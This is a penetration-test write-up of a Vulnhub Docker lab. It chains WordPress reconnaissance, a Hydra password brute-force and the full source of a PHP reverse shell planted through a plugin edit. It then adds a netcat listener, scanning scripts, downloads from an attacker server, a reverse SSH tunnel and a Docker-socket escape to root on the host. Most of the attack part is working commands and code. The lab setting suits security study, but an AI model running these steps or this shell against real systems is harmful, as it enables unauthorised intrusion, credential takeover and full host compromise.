Pentest: owning a docker host
As I did my bachelorthesis around Docker and best practices around Docker, I found it interesting and challenging for myself to break a Docker host. Vulnhub provided me with a nice lab to test it out! The VM is available here
Nmap recon
As always I like to start off with an nmap scan of the target
nmap -p- 10.0.2.9
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
Very limited ports open this time.. Let’s pop open a browser and head to port 8000
Wordpress exploiting
Aha, It’s a wordpress website, we got a nice tool for this called wpscan:
wpscan 10.0.2.9:8000
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
_______________________________________________________________
[+] URL: http://10.0.2.9:8000/
[+] robots.txt available under: 'http://10.0.2.9:8000/robots.txt'
[+] Interesting entry from robots.txt: http://10.0.2.9:8000/wp-admin/admin-ajax.php
[!] The WordPress 'http://10.0.2.9:8000/readme.html' file exists exposing a version number
[!] Full Path Disclosure (FPD) in 'http://10.0.2.9:8000/wp-includes/rss-functions.php':
[+] Interesting header: LINK: <http://10.0.2.9:8000/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.10 (Debian)
[+] Interesting header: X-POWERED-BY: PHP/5.6.31
[+] XML-RPC Interface available under: http://10.0.2.9:8000/xmlrpc.php
[+] WordPress version 4.8.4
.... #ommited because not interesting
[+] Enumerating plugins from passive detection ...
[+] No plugins found
No plugins are installed, no exploits found… but we did see something very interesting in the output:
the Wordpress API is opened for us :D we can see what users exist http://<dockervmip>:8000/wp-json/wp/v2/users
there is only one user called “bob” chances are close to 100% that he is the admin user.
Since we have no exploits available, and we know the username, we can try a bruteforce attack
Bruteforcing Bob
Let’s use Hydra to try and bruteforce the password of Bob
hydra 10.0.2.9 -V -l bob -P /root/Downloads/10k_most_common.txt http-get-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.0.2.9%3A8000%2Fwp-admin%2F&testcookie=1:incorrect"
The password is Welcome1
edit the dolly plugin to create a php shell and setup a listener.
example php shell script
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
nc -lvp 44444
browse to the website and the shell will be opened
Reverse shell in the container
Now we have the container reverse shell
so all I did was use ip address to list ip routes… seems that 172.18.0.0/16 is the network this container has.
Uploading scripts into our container
Let’s go back to our attacker machine and setup a simplehttpserver with python so we can use it as a download server for our container. We have to do this because we cannot install anything on our container machine under current circumstances, apt is disabled, and we don’t even have wget available. We can’t make any scripts either, because vi,nano,vim,… is not present, sudo is also not available.
cd <anydirectoryyouwanttouse>;python -m SimpleHttpServer
the directory you are in is now being served on your attacker ip port 8000 by default.
I made two simple scripts in bash to mimic Nmap because installing nmap is impossible, you could try to install nmap using the deb package but you’ll see that host discovery will not be available, you can however do port scanning with it but I found it not worth the time and efford.
ipscan.sh
#!/bin/bash
echo "first three octets of network to scan, end with a ."
read network
for host in {1..254}; do
ping -c1 $network$host &>/dev/null;
[ $? -eq 0 ] && echo "$network$host is up"
echo "done checking host: " $network$host
done
portscan.sh
#!/bin/bash
echo "host to portscan: "
read host
for port in {1..65000}; do
(echo > /dev/tcp/$host/$port) &>/dev/null
[ $? -eq 0 ] && echo "$port open"
if [ $port == 1000 ]
then
echo "first 1000 ports scanned"
fi
if [ $port == 65000 ]
then
echo " port scan complete"
fi
done
You could combine the two into one script, but in my experience it takes way longer to run when you do so. I prefer to run them one after the other.
get them into our docker machine using curl -o ipscan.sh <attackerip>:8000/ipscan.sh and curl -o portscan.sh <attackerip>:8000/portscan.sh.
in order for them to run you will have to chmod +x both files and then run them using ./ipscan.sh or ./portscan.sh
running ipscan gave me some interesting results
172.18.0.1
172.18.0.2
172.18.0.3
172.18.0.4
all of the ip’s above are live.
running portscanner on those hosts gave me the following results:
host to portscan:
172.18.0.1
22 open
first 1000 ports scanned
8000 open
port scan complete
172.18.0.2
first 1000 ports scanned
3306 open
port scan complete
172.18.0.3
22 open
first 1000 ports scanned
8022 open
172.18.0.4
80 open
first 1000 ports scanned
37056 open
50240 open
port scan complete
port 3306 is well known to be mysql default port. So I’m assuming that 172.18.0.2 is the database container
Let’s see what is behind port 8022 on ip 172.18.0.3, It’s docker SSH, which is used to access consoles of containers.. If we want to access this we need to get inside this private network, preferably with a computer that is not crippled by a container user with almost no tools…
we achieve this using reverse ssh
Reverse SSH to access docker private network
in order to do this we need to download the deb package of ssh on our attacker computer, and serve it over our http server we set up before to get it into our docker container.
https://packages.debian.org/jessie/amd64/openssh-client/download #link to download the openssh client
put it in the folder that is being used by SimpleHttpServer and rename the deb package to openssh.deb
curl -o openssh.deb http://<attackerip>:8000/openssh.deb
dpkg -x openssh.deb .; cd usr/bin; chmod +x ssh*; ./ssh-keygen -P '' -f id_rsa -t rsa; cat id_rsa.pub
copy the rsa output and put it in your .ssh folder on your attackercomputer in the file authorized_keys, if the file does not exist yet, create it.
chmod 600 ~/.ssh/authorized_keys
service ssh restart
on the container shell issue the following command to set up a reverse SSH tunnel to the docker-ssh web portal:
./ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o GlobalKnownHostsFile=/dev/null -v -i id_rsa -R 8022:<ipofdockersshcontainerfoundbyportscan>:8022 -fN root@<yourattackingip>
accessing the webshell and exploiting this setup
now we can access the webshell in our attackerpc browser, sweet.
this instance has a working apt package manager, we can install curl and docker without much problems…
apt-get update
apt-get install curl
curl -fsSL get.docker.com -o get-docker.sh
sh get-docker.sh
docker ps seems to show us all containers running, this means that the docker socket is mounted on this container, and it’s being run as the root user.. this makes it easy.
docker run -v /:/hostOS -it chrisfosterelli/rootplease will give you a root shell in the docker host machine…
now we can look for users with passwords
vipw -s
I see a whale user and changed his password with passwd whale, I also made a root password change with passwd
Now on your attacker machine you can ssh to the docker host with ssh whale@<dockerhostvmip> and entering the password you just entered.
I AM root
Now you can just su - and use the password you set for root.